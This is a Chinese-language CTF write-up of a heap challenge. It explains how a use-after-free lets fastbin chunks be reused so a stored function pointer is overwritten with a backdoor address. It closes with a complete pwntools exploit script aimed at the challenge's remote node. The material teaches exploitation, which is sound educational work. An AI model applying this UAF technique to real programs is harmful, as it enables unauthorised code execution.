经典的增删改查

add 函数中就很有看头了,先申请了一个固定 0x10 大小的 chunk,又在 chunk 的 data 段写入的 puts 函数地址,又在 chunk->data 段+0x8 后面写入了一个新 chunk,并且往新 chunk 的 data 段写入 her name

free 函数中未置 0 存在 uaf

show 函数中使用 chunk->data 作为函数调用输出chunk->data(我调用我自己输出我自己了属于是

程序有完整的后面函数

此时我们想法是在 show 中实现调用后面函数

此时我们如果申请两个 0x20(实际申请 0x30 大小的 chunk ,并且 free 掉后

在 fastbin 中 0x20:chunk1->chunk0、0x30:chunk1->chunk0

0x20 是 add 函数中在每一次调用时都会申请的一个 0x10 大小的 chunk

此时我们可以利用这一点 在 add 函数中申请一个 0x10 大小的 chunk,会把 fastbin 链表中两个 0x20 的 chunk 申请出去

此时 0x1677050 为 add 函数中固定申请的 chunk

0x1677000 为我们申请的 0x10size 大小的 chunk,但是0x1677000 原本是 chunk0 中固定申请的 chunk,此时我们在 add 时填入后门函数的地址,原本的 chunk1 就变为了

0x400b9c 是后门函数的地址,他现在在的位置是 chunk0 ->data 段,正好符合了 show 去执行的地方

调用 show(0)就是调用后门函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
context(log_level='debug',arch='amd64',os='linux')
else:
context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
p=remote('node4.anna.nssctf.cn',28371)#node4.anna.nssctf.cn:28371
else:
p=process("./")#配置本地连接:

def s(a):#发送
p.send(a)
def sl(a):#带\n发送
p.sendline(a)
def sa(a,b):#直到接收到a后发送b
p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
p.sendlineafter(a,b)
def r():#接收
p.recv()
def rl(a):#等待到接收到a
return p.recvuntil(a)
def m():#调用gdb
gdb.attach(p)

def add(size,name):
sla("Your choice :",'1')
sla("Her name size is :",str(size))
sla("Her name is :",name)

def free(idx):
sla("Your choice :",'2')
sla("Index :",str(idx))

def show(idx):
sla("Your choice :",'3')
sla("Index :",str(idx))
###############################################
br=0x400B9C
add(0x20,b'aaaa')
add(0x20,b'bbbb')
free(0)
free(1)
add(0x10,p64(br))
show(0)
p.interactive()#与程序交互